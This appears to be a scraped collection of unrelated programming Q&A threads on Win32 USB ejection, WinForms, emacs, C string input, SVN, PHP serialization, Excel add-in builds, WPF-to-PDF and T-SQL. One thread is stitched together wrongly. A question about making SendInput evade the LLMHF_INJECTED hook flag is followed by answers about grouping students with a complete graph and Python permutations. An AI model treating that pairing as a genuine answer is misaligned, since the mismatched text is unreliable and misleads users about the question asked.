<p>How do I remove a USB drive using the Win32 API? I do a lot of work on embedded systems and on one of these I have to copy my programs on a USB stick and insert it into the target hardware.</p> <p>Since I mostly work on the console I don't like to use the mouse and click on the small task-bar icon hundred times a day. </p> <p>I'd love to write a little program to do exactly that so I can put it into my makefiles, but I haven't found any API call that does the same thing.</p> <p>Any ideas?</p>
<p>You can use the <code>CM_Request_Device_Eject()</code> function as well as some other possibilities. Consult the following projects and articles:</p> <p>DevEject: Straightforward. <a href="http://www.withopf.com/tools/deveject/" rel="nofollow noreferrer">http://www.withopf.com/tools/deveject/</a></p> <p>A useful CodeProject article: <a href="http://www.codeproject.com/KB/system/RemoveDriveByLetter.aspx" rel="nofollow noreferrer">http://www.codeproject.com/KB/system/RemoveDriveByLetter.aspx</a></p>
<pre class="lang-c prettyprint-override"><code>#include&lt;SetupAPI.h&gt; #include &lt;windows.h&gt; #include&lt;initguid.h&gt; #include &lt;newdev.h&gt; #include &lt;Cfgmgr32.h&gt; #pragma comment(lib, &quot;Cfgmgr32.lib&quot;) #pragma comment(lib, &quot;Setupapi.lib&quot;) #pragma comment(lib, &quot;Newdev.lib&quot;) int RemoveDevice(const GUID *guid, const wchar_t *hwID) { HDEVINFO m_hDevInfo; SP_DEVICE_INTERFACE_DATA spdid; SP_DEVINFO_DATA spdd; DWORD dwSize; BYTE Buf[1024]; PSP_DEVICE_INTERFACE_DETAIL_DATA pspdidd = (PSP_DEVICE_INTERFACE_DETAIL_DATA)Buf; printf(&quot;try to remove device::%ws\n&quot;, hwID); m_hDevInfo = SetupDiGetClassDevs(guid, NULL, NULL, DIGCF_PRESENT| DIGCF_DEVICEINTERFACE); if (m_hDevInfo == INVALID_HANDLE_VALUE) { printf(&quot;GetClassDevs Failed!\n&quot;); return 0; } spdid.cbSize = sizeof(spdid); for (int i = 0; SetupDiEnumDeviceInterfaces(m_hDevInfo, NULL, guid, i, &amp;spdid); i++) { dwSize = 0; SetupDiGetDeviceInterfaceDetail(m_hDevInfo, &amp;spdid, NULL, 0, &amp;dwSize, NULL); if (dwSize != 0 &amp;&amp; dwSize &lt;= sizeof(Buf)) { pspdidd-&gt;cbSize = sizeof(*pspdidd); // 5 Bytes! ZeroMemory((PVOID)&amp;spdd, sizeof(spdd)); spdd.cbSize = sizeof(spdd); long res = SetupDiGetDeviceInterfaceDetail(m_hDevInfo, &amp; spdid, pspdidd, dwSize, &amp;dwSize, &amp;spdd); if (res) { OLECHAR* guidString; OLECHAR* guidString2; StringFromCLSID(&amp;spdd.ClassGuid, &amp;guidString); StringFromCLSID(&amp;spdid.InterfaceClassGuid, &amp;guidString2); printf(&quot;%d, %ws, %ws, %ws\n&quot;, spdd.DevInst, pspdidd-&gt;DevicePath, guidString, guidString2); CoTaskMemFree(guidString); CoTaskMemFree(guidString2); if (!memcmp(pspdidd-&gt;DevicePath, hwID, 2 * lstrlenW(hwID))) { DEVINST DevInstParent = 0; res = CM_Get_Parent(&amp;DevInstParent, spdd.DevInst, 0); for (long tries = 0; tries &lt; 10; tries++) { // sometimes we need some tries... WCHAR VetoNameW[MAX_PATH]; PNP_VETO_TYPE VetoType = PNP_VetoTypeUnknown; VetoNameW[0] = 0; res = CM_Request_Device_EjectW(DevInstParent, &amp;VetoType, VetoNameW, MAX_PATH, 0); if ((res == CR_SUCCESS &amp;&amp; VetoType == PNP_VetoTypeUnknown)) { printf(&quot;remove %ws success!\n&quot;, pspdidd-&gt;DevicePath); SetupDiDestroyDeviceInfoList(m_hDevInfo); return 1; } Sleep(500); // required to give the next tries a chance! } break; } } } } printf(&quot;Remove Device Failed!\n&quot;); SetupDiDestroyDeviceInfoList(m_hDevInfo); return 0; } int main(){ GUID GUID_DEVINTERFACE_USB_HUB; CLSIDFromString(L&quot;F18A0E88-C30C-11D0-8815-00A0C906BED8&quot;, &amp;GUID_DEVINTERFACE_USB_HUB); RemoveDevice(&amp;GUID_DEVINTERFACE_USB_HUB, L&quot;\\\\?\\usb#root_hub30&quot;); return 0; } </code></pre> <p>refrences:</p> <p><a href="https://www.codeproject.com/Articles/13839/How-to-Prepare-a-USB-Drive-for-Safe-Removal" rel="nofollow noreferrer">How to Prepare a USB Drive for Safe Removal</a></p> <p><a href="https://www.pinvoke.net/default.aspx/Constants/GUID_DEVINTERFACE.html" rel="nofollow noreferrer">GUID_DEVINTERFACE</a></p>
11,120
<p>Is there an easy method to restore a minimized form to its previous state, either Normal or Maximized? I'm expecting the same functionality as clicking the taskbar (or right-clicking and choosing restore).</p> <p>So far, I have this, but if the form was previously maximized, it still comes back as a normal window.</p> <pre><code>if (docView.WindowState == FormWindowState.Minimized) docView.WindowState = FormWindowState.Normal; </code></pre> <p>Do I have to handle the state change in the form to remember the previous state?</p>
<p>I use the following extension method:</p> <pre><code>using System.Runtime.InteropServices; namespace System.Windows.Forms { public static class Extensions { [DllImport( "user32.dll" )] private static extern int ShowWindow( IntPtr hWnd, uint Msg ); private const uint SW_RESTORE = 0x09; public static void Restore( this Form form ) { if (form.WindowState == FormWindowState.Minimized) { ShowWindow(form.Handle, SW_RESTORE); } } } } </code></pre> <p>Then call <code>form.Restore()</code> in my code.</p>
<p>The above code did not quite work for me in all situations</p> <p>After checking the flags I also have to check showcmd=3 and if so maximise else restore</p>
46,175
<p>Is there anyone out there using iPython with emacs 23? The documents on the emacs wiki are a bit of a muddle and I would be interested in hearing from anyone using emacs for Python development. Do you use the download python-mode and ipython.el? What do you recommend?</p>
<p>I got it working quite well with emacs 23. The only open issue is the focus not returning to the python buffer after sending the buffer to the iPython interpreter.</p> <p><a href="http://www.emacswiki.org/emacs/PythonMode#toc10" rel="nofollow noreferrer">http://www.emacswiki.org/emacs/PythonMode#toc10</a></p> <pre><code>(setq load-path (append (list nil "~/.emacs.d/python-mode-1.0/" "~/.emacs.d/pymacs/" "~/.emacs.d/ropemacs-0.6" ) load-path)) (setq py-shell-name "ipython") (defadvice py-execute-buffer (around python-keep-focus activate) "return focus to python code buffer" (save-excursion ad-do-it)) (setenv "PYMACS_PYTHON" "python2.5") (require 'pymacs) (pymacs-load "ropemacs" "rope-") (provide 'python-programming) </code></pre>
<p>I've used ipython with emacs cvs (which has been emacs 23 for some time now) in my python development. I, however, use it the other way around: I call emacs from the ipython promt through the $EDITOR environment variable. I tried it the other way around, but got a bit tired of all the process buffers and what not.</p> <p>Emacs is great, but a command-line far more versatile.</p>
39,067
<p>I'm having a hard time coding understanding the format of the specifier and string functions.</p> <p>My aim is to use <code>%[]</code> to readin all characters and spaces and then use the strcpy function followed by the strcat function.</p> <p>So far i've managed to enter individual characters and print them out, excluding spaces.</p> <p>here's the code so far;</p> <pre><code>int main(int argc, char** argv) { char words[30]; int loops; printf("How many letters would you like to enter? - "); scanf("%d",&amp;loops); for(int i=0;i&lt;loops;i++){ printf("Provide some text as input:"); scanf("%s", &amp;words[i]); } printf("%d", strlen(words)); printf("%s",&amp;words); return (EXIT_SUCCESS); } </code></pre>
<p>I assume you want to read a string with a maximum length of 29 characters from the standard input up to the ENTER key.</p> <p>To do that you can use the following code:</p> <pre><code>char phrase[30]; printf("Enter a phrase: "); scanf("%29[^\n]", phrase); printf("You just entered: '%s'\n", phrase); </code></pre> <p>The <code>%29[^\n]</code> says to read at most 29 characters (saving one for the zero terminator) from the beginning up to the ENTER key. This includes any space characters that may be entered by the user.</p>
<p>words[i] is a single character in the string words and you are trying to store a string 's' in it.<br> To read a single character use %c.</p>
26,877
<p>I'm trying to write a wstring to file with ofstream in binary mode, but I think I'm doing something wrong. This is what I've tried:</p> <pre><code>ofstream outFile("test.txt", std::ios::out | std::ios::binary); wstring hello = L"hello"; outFile.write((char *) hello.c_str(), hello.length() * sizeof(wchar_t)); outFile.close(); </code></pre> <p>Opening test.txt in for example Firefox with encoding set to UTF16 it will show as:</p> <p>h�e�l�l�o�</p> <p>Could anyone tell me why this happens? </p> <p><strong>EDIT:</strong></p> <p>Opening the file in a hex editor I get:</p> <pre><code>FF FE 68 00 00 00 65 00 00 00 6C 00 00 00 6C 00 00 00 6F 00 00 00 </code></pre> <p>Looks like I get two extra bytes in between every character for some reason?</p>
<p>I suspect that sizeof(wchar_t) is 4 in your environment - i.e. it's writing out UTF-32/UCS-4 instead of UTF-16. That's certainly what the hex dump looks like.</p> <p>That's easy enough to test (just print out sizeof(wchar_t)) but I'm pretty sure it's what's going on.</p> <p>To go from a UTF-32 wstring to UTF-16 you'll need to apply a proper encoding, as surrogate pairs come into play.</p>
<p>You should look at the output file in a hex editor such as <a href="http://www.download.com/WinHex/3000-2352_4-10057691.html" rel="nofollow noreferrer">WinHex</a> so you can see the actual bits and bytes, to verify that the output is actually UTF-16. Post it here and let us know the result. That will tell us whether to blame Firefox or your C++ program.</p> <p>But it looks to me like your C++ program works and Firefox is not interpreting your UTF-16 correctly. UTF-16 calls for two bytes for every character. But Firefox is printing twice as many characters as it should, so it is probably trying to interpret your string as UTF-8 or ASCII, which generally just have 1 byte per character.</p> <p>When you say "Firefox with encoding set to UTF16" what do you mean? I'm skeptical that that work work.</p>
25,449
<p>If I was going to start an open source project using Python what version should I use to ensure that the vast majority of users can use it on their system?</p> <p>I'm the kind of person who quickly jumps to the next version (which I'll do when Python 3 comes out) but many people may be more conservative if their current version seems to be working fine. What version would hit the sweet spot but still allow me to enjoy the newest and coolest language enhancements?</p>
<p>As python is in kind of an transition phase towards python 3 with breaking backward compatibility I don't think it is a good idea to go python 3 only. Based on the <a href="http://www.python.org/dev/peps/pep-3000/#timeline" rel="nofollow noreferrer">time line</a> there will be at least one or two following releases of the 2.x series after 2.6/3.0 in october.</p> <p>Beside not having python 3 available on your target platforms, it will take some time until important external python libraries will be ported and usable on python 3.</p> <p>So as Matthew suggests staying at 2.4/2.5 and keeping the <a href="http://www.python.org/dev/peps/pep-3000/#compatibility-and-transition" rel="nofollow noreferrer">transition</a> plan to python 3 in mind is a solid choice.</p>
<p>If the project is going to be mainstream and will be run on Linux the <strong>only</strong> sensible choise is 2.4 - just because it is a pain to get anything else installed as default on Enterprise Linuxes.</p> <p>In any case, any <em>modern</em> OS will/can have 2.4 or newer.</p>
6,938
<p>I want to commit a large amount of XML files which have been modified. However, within the directory that I want to recursively search through, there are many folders/files which have been added locally, these I do not want to commit.</p> <p>Is there a way to do this on the command line?</p> <p>Update: I should have included the SVN version info: svn, version 1.4.6 (r28521), compiled Mar 11 2008, 08:26:35</p> <p>P.S. I'd be interested in answers which include how to force the commit, e.g. even if files have been locked.</p>
<p>Have you tried using an svn:ignore property on the local files/folders? But unless you svn add them, they won't get committed...</p> <p>typically --force will allow you to steal the file lock.</p>
<p><em>EDIT</em>: I'm rewriting this answer based on some of the information you updated in your questions.</p> <p>First, to forcibly unlock files it's not enough to simply --force the commit. You use --force with the unlock command and you have to use it on the exact URL that you want to unlock. Unfortunately, this is the only way to do it unless you have access to the repository. If you can access the repository directly, you can use the svnadmin command as displayed here:</p> <pre><code>svnadmin lslocks /path/to/repository </code></pre> <p>This will display the locked files. To unlock:</p> <pre><code>svnadmin rmlocks /path/to/repository /project/path/to/locked/file </code></pre> <p>If you don't have direct access to the repository, you remove the locks one at a time like so:</p> <pre><code>svn --force unlock svn://url.to.repository/project/path/to/locked/file </code></pre> <p>Once you're ready to check in, you can list the files directly that you want checked in instead of just doing the default directory. This will allow you to check in only the modified XML files while ignoring directory structure changes, additions, or whatever else it is that you don't want checked in (added unlock example too):</p> <pre><code>svn --force unlock svn;//url.to.repository/project/janes_subdir/jane.xml svn ci -m "Whatever Log" foo.xml junk.xml my_subdir/*.xml janes_subdir/jane.xml </code></pre>
36,667
<p>I have a KML file overlay on an embedded Google Map using the GGeoXml object. I'd like to be able to access specific placemarks in the KML file from Javascript (for example to highlight a selected polygon on the map in response to user action). </p> <p>Ideally what I'd like to do is something like this (pseudo-code):</p> <pre><code> geoXml.getPlacemarkByName('Foo').focus(); </code></pre> <p>Unforunately the <a href="http://code.google.com/apis/maps/documentation/reference.html#GGeoXml" rel="nofollow noreferrer">Google Maps API</a> doesn't seem to expose the placemarks or any other internals of the KML overlay. Does anyone have any thoughts as to how I might accomplish this? I don't know anything about how the overlays are implemented internally, but it seems like there might be a hack that would let me do this.</p> <p>I'm also using jQuery FWIW.</p>
<p>Have you looked at <a href="http://www.dyasdesigns.com/geoxml/" rel="nofollow noreferrer">GeoXML</a>?</p>
<p>You can figure that out by simply looking into the object as follows:</p> <pre><code>GEvent.addListener(map, 'addoverlay', function(obj) { if (!obj) { alert("Cannot describe a null object"); return; } var str = ""; for ( var prop in obj) { str += prop + " = " + obj[prop] + ",\n"; } alert(str); }); </code></pre> <p>That should help...</p>
25,894
<p>Some of the controls I've created seem to default to the old Windows 95 theme, how do I prevent this? Here's an example of a button that does not retain the Operating System's native appearance (I'm using Vista as my development environment):</p> <pre><code>HWND button = CreateWindowEx(NULL, L"BUTTON", L"OK", WS_VISIBLE | WS_CHILD | BS_PUSHBUTTON, 170, 340, 80, 25, hwnd, NULL, GetModuleHandle(NULL), NULL); </code></pre> <p>I'm using native C++ with the Windows API, no managed code.</p>
<p>I believe it has got nothing to do with your code, but you need to set up a proper <strong>manifest</strong> file to get the themed controls.</p> <p>Some info here: <a href="http://msdn.microsoft.com/en-us/library/aa374191(VS.85).aspx" rel="nofollow noreferrer">@msdn.com</a> and here: <a href="http://blogs.msdn.com/cheller/archive/2006/08/24/718757.aspx" rel="nofollow noreferrer">@blogs.msdn.com</a></p> <p>You can see a difference between application with and without manifest here: <a href="http://www.heaventools.com/PE_Explorer_resource_XP_Wizard.htm" rel="nofollow noreferrer">heaventools.com</a></p>
<p>I believe it has got nothing to do with your code, but you need to set up a proper <strong>manifest</strong> file to get the themed controls.</p> <p>Some info here: <a href="http://msdn.microsoft.com/en-us/library/aa374191(VS.85).aspx" rel="nofollow noreferrer">@msdn.com</a> and here: <a href="http://blogs.msdn.com/cheller/archive/2006/08/24/718757.aspx" rel="nofollow noreferrer">@blogs.msdn.com</a></p> <p>You can see a difference between application with and without manifest here: <a href="http://www.heaventools.com/PE_Explorer_resource_XP_Wizard.htm" rel="nofollow noreferrer">heaventools.com</a></p>
13,684
<p>Is there a .net equivalent to the C++ unexpected()/set_unexpected() functionality?</p> <hr> <p><strong>Edit:</strong> Sorry--I omitted some details previously:</p> <p>Language: C# 2.0</p> <p>I have some legacy apps that seem to be throwing some unhandled exception somewhere. I just want to put something in place to stop the customer's pain until I can trace the actual source of the problem. In C++, the function pointed at by set_unexpected() gets called, as far as I know, when an otherwise unhandled exception bubbles to the main routine. Hence my question about a .net equivalent functionality. </p>
<p>There 3 possible scenarios for handling unhandled exceptions, based on the type of the application:</p> <ol> <li>For windows forms application, hook an event handler to <a href="http://msdn.microsoft.com/en-us/library/system.windows.forms.application.threadexception.aspx" rel="nofollow noreferrer">Application.ThreadException</a></li> <li>For commandline applications, hook an event handler to <a href="http://msdn.microsoft.com/en-us/library/system.appdomain.unhandledexception.aspx" rel="nofollow noreferrer">AppDomain.UnhandledException</a></li> <li><p>For ASP.NET applications, in Global.asax, create:</p> <p>protected void Application_Error(Object sender, EventArgs e)</p></li> </ol> <p>DISCLAIMER: I'm not c++ developer, but from what I read, this should answer your question.</p>
<p>These handlers should catch most unexpected exceptions in your mixed-mode application.</p> <pre><code>private delegate long UnhandledExceptionFilter(IntPtr exception); [DllImport("KERNEL32.DLL", SetLastError = true)] private static extern IntPtr SetUnhandledExceptionFilter([MarshalAs(UnmanagedType.FunctionPtr)] UnhandledExceptionFilter filter); // put these in your bootstrapper AppDomain.CurrentDomain.UnhandledException += CurrentDomainUnhandledException; Application.ThreadException += ApplicationThreadException; SetUnhandledExceptionFilter(UnhandledExceptionFilter); void CurrentDomainUnhandledException(object sender, UnhandledExceptionEventArgs e) { ... } void ApplicationThreadException(object sender, ThreadExceptionEventArgs e) { ... } long UnhandledExceptionFilter(IntPtr exception) { .... } </code></pre>
30,655
<pre><code>a:3:{i:0;i:4;i:1;i:3;i:2;i:2;} </code></pre> <p>Am I right to say that this is an array of size 3 where the key value pairs are <code>0-&gt;4</code>, <code>1-&gt;3</code>, and <code>2-&gt;2</code>?</p> <p>If so, I find this representation awfully confusing. At first, I thought it was a listing of values (or the array contained <code>{0, 4, 1, 3, 2, 2}</code>), but I figured that the <code>a:3</code>: was the size of the array. And if <code>3</code> was the size, then both the keys and values appeared in the brackets with no way of clearly identifying a key/value pair without counting off.</p> <p>To clarify where I'm coming from:</p> <p>Why did the PHP developers choose to serialize in this manner? What advantage does this have over, let's say the way var_dump and/or var_export displays its data?</p>
<p>Yes that's <code>array(4, 3, 2)</code></p> <p><code>a</code> for array, <code>i</code> for integer as key then value. You would have to count to get to a specific one, but PHP always deserialises the whole lot, so it has a count anyway.</p> <p>Edit: It's not too confusing when you get used to it, but it can be somewhat long-winded compared to, e.g. JSON</p> <blockquote> <p>Note: var_export() does not handle circular references as it would be close to impossible to generate parsable PHP code for that. If you want to do something with the full representation of an array or object, use serialize().</p> </blockquote>
<p>Why don't you use the <a href="http://uk.php.net/unserialize" rel="nofollow noreferrer">unserialize()</a> function to restore the data to how it was before?</p>
30,779
<p>At the moment I use the <a href="http://msdn.microsoft.com/en-us/library/ms646310.aspx" rel="nofollow noreferrer"><code>SendInput()</code></a> function but if you install a low level mouse hook the <code>LLMHF_INJECTED</code> is set indicating that the input was injected into the stream. Is there a way of sending mouse and keyboard input so that <code>LLMHF_INJECTED</code> is not set?</p>
<p>You want to create a complete graph with each student as a node, then randomly select edges and insert them into a unique set.</p> <p>On the next "pull", you want to do the same thing, except now if the edge has already been selected, discard and reselect.</p>
<p>I don't know if it's exactly what you asked for, but here my take on it in simple python. It spits out each unique grouping you can have for (in my example) 10 students.</p> <p>It is not the fastest thing there is i guess, but its very easy to implement and to follow.</p> <pre class="lang-py prettyprint-override"><code>from itertools import permutations def my_sort(x): assert type(x) in (tuple, list) assert len(x)==10 groups = x[0:2],x[2:4],x[4:6],x[6:8],x[8:10] groups = sorted([sorted(g) for g in groups], key=lambda k:k[0]) return tuple(x for g in groups for x in g ) S = set(my_sort(p) for p in permutations(list(range(10)))) """ len(S) == 945 list(sorted(S))[-3:] == [(0, 9, 1, 8, 2, 7, 3, 4, 5, 6), (0, 9, 1, 8, 2, 7, 3, 5, 4, 6), (0, 9, 1, 8, 2, 7, 3, 6, 4, 5)] """ </code></pre> <p>a tuple represents all groups in a row: (0, 9, 1, 8, 2, 7, 3, 4, 5, 6) means 0 is grouped with 9, 1 is grouped with 8 and so on.</p>
24,348
<p>I'm using Windows and I'm trying to get ANT to work.</p> <p>When I do an ant build from the command line, I get: <code>C:\dev\Projects\springapp\${%ANT_HOME%}\lib not found.</code></p> <p>I look into the <code>build.xml</code> file and I find: <code>appserver.home=${user.home}/apache-tomcat-6.0.14</code> (which I just copied and pasted straight from a tutorial)</p> <p>I changed it to:</p> <p><code>appserver.home="C:\Program Files\Apache Software Foundation\Tomcat 6.0"</code></p> <p>but now I get:</p> <p><code>C:\dev\Projects\springapp\"C:Program FilesApache Software FoundationTomcat 6.0"\lib not found.</code></p> <p>It seems like the white space in Program Files and Tomcat 6.0 are causing the build to fail. How do you deal with these in xml files without re-creating the directory with a path with no white space?</p>
<p>Change it to </p> <pre><code>appserver.home="C:\\Program Files\\Apache Software Foundation\\Tomcat 6.0" </code></pre>
<p>In addition to escaping the windows directory separator also make sure that all paths that you type in should be with correct capitalisation, Windows is not case sensitive but case presrving, while Ant is case sensitive.</p>
7,913
<p>Is there any way to manually create fold points in code in Eclipse? I know how to enable folding and how to set the auto preferences, but i like being able to set my own fold points so I can ignore certain parts of my code. Think regions in VS.<br> I know there is in VS and NetBeans, but I cannot find a way to set manual fold points in Eclipse. </p>
<p>I don't think Eclipse has built in manual folding, but I did use a previous version of the following plugin for it.</p> <p>Per the comment: The plugin has been recompiled for Eclipse 3.5 and is available at <a href="http://incubator.apache.org/isis/ide-support.html" rel="nofollow noreferrer">the Apache Isis site</a>. A <a href="http://incubator.apache.org/isis/com.cb.eclipse.folding.KAM-3.5.zip" rel="nofollow noreferrer">direct download link</a> is also available. It also appears to work for Eclipse 3.6.</p>
<p>No, eclipse does not have any option to provide manual folding plugins.</p>
25,256
<p>I'm trying to create a build script for my current project, which includes an Excel Add-in. The Add-in contains a VBProject with a file modGlobal with a variable version_Number. This number needs to be changed for every build. The exact steps:</p> <ol> <li>Open XLA document with Excel.</li> <li>Switch to VBEditor mode. (Alt+F11)</li> <li>Open VBProject, entering a password.</li> <li>Open modGlobal file.</li> <li>Change variable's default value to the current date.</li> <li>Close &amp; save the project.</li> </ol> <p>I'm at a loss for how to automate the process. The best I can come up with is an excel macro or Auto-IT script. I could also write a custom MSBuild task, but that might get... tricky. Does anyone else have any other suggestions?</p>
<p>An alternative way of handling versioning of an XLA file is to use a custom property in Document Properties. You can access and manipulate using COM as described here: <a href="http://support.microsoft.com/?kbid=224351" rel="nofollow noreferrer">http://support.microsoft.com/?kbid=224351</a>.</p> <p>Advantages of this are:</p> <ul> <li><p>You can examine the version number without opening the XLA file</p></li> <li><p>You don't need Excel on your build machine - only the DsoFile.dll component</p></li> </ul> <p>Another alternative would be to store the version number (possibly other configuration data too) on a worksheet in the XLA file. The worksheet would not be visible to users of the XLA. One technique I have used in the past is to store the add-in as an XLS file in source control, then as part of the build process (e.g. in a Post-Build event) run the script below to convert it to an XLA in the output directory. This script could be easily extended to update a version number in a worksheet before saving. In my case I did this because my Excel Add-in used VSTO, and Visual Studio doesn't support XLA files directly.</p> <pre><code>' ' ConvertToXla.vbs ' ' VBScript to convert an Excel spreadsheet (.xls) into an Excel Add-In (.xla) ' ' The script takes two arguments: ' ' - the name of the input XLS file. ' ' - the name of the output XLA file. ' Option Explicit Dim nResult On Error Resume Next nResult = DoAction If Err.Number &lt;&gt; 0 Then Wscript.Echo Err.Description Wscript.Quit 1 End If Wscript.Quit nResult Private Function DoAction() Dim sInputFile, sOutputFile Dim argNum, argCount: argCount = Wscript.Arguments.Count If argCount &lt; 2 Then Err.Raise 1, "ConvertToXla.vbs", "Missing argument" End If sInputFile = WScript.Arguments(0) sOutputFile = WScript.Arguments(1) Dim xlApplication Set xlApplication = WScript.CreateObject("Excel.Application") On Error Resume Next ConvertFileToXla xlApplication, sInputFile, sOutputFile If Err.Number &lt;&gt; 0 Then Dim nErrNumber Dim sErrSource Dim sErrDescription nErrNumber = Err.Number sErrSource = Err.Source sErrDescription = Err.Description xlApplication.Quit Err.Raise nErrNumber, sErrSource, sErrDescription Else xlApplication.Quit End If End Function Public Sub ConvertFileToXla(xlApplication, sInputFile, sOutputFile) Dim xlAddIn xlAddIn = 18 ' XlFileFormat.xlAddIn Dim w Set w = xlApplication.Workbooks.Open(sInputFile,,,,,,,,,True) w.IsAddIn = True w.SaveAs sOutputFile, xlAddIn w.Close False End Sub </code></pre>
<p>You can modify the code in the xla programmatically from within Excel. You will need a reference to the 'Microsoft Visual Basic for Applications Extensibility..' component.</p> <p>The examples on <a href="http://www.cpearson.com/excel/vbe.aspx" rel="nofollow noreferrer">Chip Pearson's excellent site</a> should get you started.</p>
11,228
<p>While testing a console app, I set the properties of the console window to be only 3 lines high. </p> <p>This change has somehow stuck, meaning that new console windows default to 3 lines high. If I create a new shortcut on the desktop, and point it to cmd.exe, the window that opens is 3 lines high. </p> <p>Of course, I can alter this value using the properties panel, which ultimately results in "current window only"/"future windows with same title"/"shortcut that started this window" dialog to alter the stickiness of the setting. None of these choices results in the default being changed. If, subsequently, I make a new shortcut to cmd.exe, it's still 3 lines high.</p> <p>The principal problem is that for any new console app that I write, the first time I debug it, I must change the size setting, and when I run the release build, it's the same story.</p> <p>Does anyone know where the default settings for new (i.e. new title or from new shortcut) console app are stored/how to change them?</p> <p>[and, yes, I feel like a muppet for asking, but I can't find this info anywhere!]</p>
<p>Instead of using the Properties menu item - Use the defaults menu item.</p>
<p>They're stored in the Registry:</p> <pre><code>HKEY_CURRENT_USER\Console </code></pre>
36,687
<p>I am hacking up a tagging application for emacs. I have got a tag cloud/weighted list successfully displaying on a buffer, but i am running into a snag. I need to be able to properly word-wrap the buffer, but I haven't a clue where to start.</p> <p>The font I am using is a variable width font. On top of that, each tag is going to be in a different size, depending on how many times it shows up on the buffer. Finally, the window that displays the tagcloud could be in a window that is 200 pixels wide, or the full screen width.</p> <p>I really have no idea where to start. I tried longlines mode on the tagcloud buffer, but that didn't work.</p> <p>Source code is at: <a href="http://emacswiki.org/cgi-bin/emacs/free-tagging.el" rel="nofollow noreferrer">http://emacswiki.org/cgi-bin/emacs/free-tagging.el</a></p>
<p>You probably want to track <a href="http://www.gnu.org/software/emacs/elisp/html_node/Accessing-Events.html#index-posn_002dat_002dpoint-1273" rel="nofollow noreferrer"><code>posn-at-point</code></a> and <a href="http://www.gnu.org/software/emacs/elisp/html_node/Accessing-Events.html#index-posn_002dat_002dx_002dy-1274" rel="nofollow noreferrer"><code>posn-at-x-y</code></a> as you put the tags in the buffer.</p>
<p>Can you use <code>(fill-paragraph)</code> or <code>(fill-region)</code> or similar? They wrap at a column, so don't have variable width font smarts, but if the fill column is low they might work for next to no effort. At least until you get a pixel-perfect solution sorted out :-) (maybe YAGNI...)</p>
31,485
<p>On my Centos server Python's mimetypes.guess_type("mobile.3gp") returns (None, None), instead of ('video/3gpp', None).</p> <p>Where does Python get the list of mimetypes from, and is it possible to add a missing type to the list?</p>
<p>On my system (Debian lenny) its in /usr/lib/python2.5/mimetypes.py in the list <code>knownfiles</code> you can supply your own files for the <code>init()</code> function.</p>
<p>In python 3.6 find that file: <code>C:\Users\Me\AppData\Local\Programs\Python\Python36\Lib\mimetypes.py</code></p> <p>Search for <code>mp3</code> (to get the list of extension). Add your file (it's intuitive)</p>
45,410
<p>I've been creating some applications with SQLExpress and find myself, scripting the database creation, tables and other entities etc. after application installation. Is this the normal way? </p> <p>Thanks</p>
<p>Making a template database and restoring that works only if you do not need to upgrade your database while keeping (most of) the data.</p> <p>Even though it is cumbersome, I actually use a few classes that check the database versions and run the necessary scripts (either installation of SQLExpress, installing the database or doing upgrades).</p>
<p>A faster way would be to make a backup of a template database, and restore that as part of the install. </p> <p>AFAIK, thats how MS and Orcl (especially) do it. </p>
30,818
<p>I generally use a manual process:</p> <ol> <li>Look at the page, figure out the semantic elements, and build the HTML</li> <li>Slice up the images I think I'll need</li> <li>Start writing CSS</li> <li>Tweak and repeat different steps as necessary</li> </ol> <p>Got a better approach, or a tool?</p>
<p>I have a fairly natural way of coding. The key is to treat the page like a document or an article. If you think of it like this the following becomes logically clear:</p> <ol> <li><p>The page title is a top level heading </p> <ul> <li>Whether you make the site title or actual page title the h1 is up to you - personally I'd make About Us the h1 rather than Stack Overflow.</li> </ul></li> <li><p>The navigation is a table of contents, and thus an <strong>ordered list</strong> - you may as well use an ol over a ul.</p></li> <li><p>Section headers are h2, sections within those sections are h3s etc. Stack them up.</p></li> <li><p>Use blockquotes and quotes where possible. Don't just surround it with ".</p></li> <li><p>Don't use b and i. Use strong and em. This is because HTML is structural rather than presentational markup. <strong>Strong</strong> and <strong>em</strong>phasis tags should be used where you'd put emphasis on the word.</p></li> <li><p><code>&lt;label&gt;</code> your form elements.</p></li> <li><p>Use <code>&lt;acronym&gt;</code>s and <code>&lt;abbr&gt;</code>s where possible, but only in the first instance.</p></li> <li><p>The easiest: always, <em>always</em> give your images some alternate text.</p></li> <li><p>There's lots of HTML tags you could use that you probably haven't - address for postal addresses, screen code output. Have a look at <a href="http://www.htmldog.com/" rel="noreferrer">HTML Dog</a> for some, it's my favourite reference.</p></li> </ol> <p>That's just a few pointers, I'm sure I could think of more.</p> <p>Oh, and if you want a challenge write your XHTML first, then write the CSS. When CSS-ing you aren't allowed to touch the HTML. It's actually harder than you think (but I've found it's made me quicker).</p>
<p>Some of the designers i know, usually uses Illustrator to make the design elements.</p>
3,997
<p>I have a WPF application and I want to be able to save the output of the application to a PDF document, the item I want to save can be a Visual a Drawing or a FixedDocument (I can create it as any of those options, and it's easy to convert between them).</p> <p>Is there any library that can convert directly from WPF to PDF (without writing code to walk the visual tree and recreate it using PDF primitives).</p>
<p>If you got your WPF visual tree rendered in to XPS then try this XPS to PDF converter <a href="http://nixps.blogspot.com/2008/04/convert-xps-to-pdf.html" rel="noreferrer">NIXPS</a>.</p>
<p>We have just released a new library that facilitates this: <a href="http://nixps.com/nipdf/index.html" rel="nofollow noreferrer">NiPDF v1.0</a></p> <p><a href="http://nixps.com/nipdf/example0001.html" rel="nofollow noreferrer">Here is a link</a> to an example on our site that converts WPF to PDF.</p> <p>It is a 100% managed .NET assembly, and you don't need to learn an arcane API top be able to use it.</p>
15,076
<p>Why does the PRINT statement in T-SQL seem to only sometimes work? What are the constraints on using it? It seems sometimes if a result set is generated, it becomes a null function, I assumed to prevent corrupting the resultset, but could it's output not go out in another result set, such as the row count?</p>
<p>So, if you have a statement something like the following, you're saying that you get no 'print' result?</p> <pre>select * from sysobjects PRINT 'Just selected * from sysobjects'</pre> <p>If you're using SQL Query Analyzer, you'll see that there are two tabs down at the bottom, one of which is "Messages" and that's where the 'print' statements will show up.<br> If you're concerned about the <i>timing</i> of seeing the print statements, you may want to try using something like</p> <pre>raiserror ('My Print Statement', 10,1) with nowait</pre> <p>This will give you the message immediately as the statement is reached, rather than buffering the output, as the Query Analyzer will do under most conditions.</p>
<p>Do you have variables that are associated with these print statements been output? if so, I have found that if the variable has no value then the print statement will not be ouput.</p>
33,677
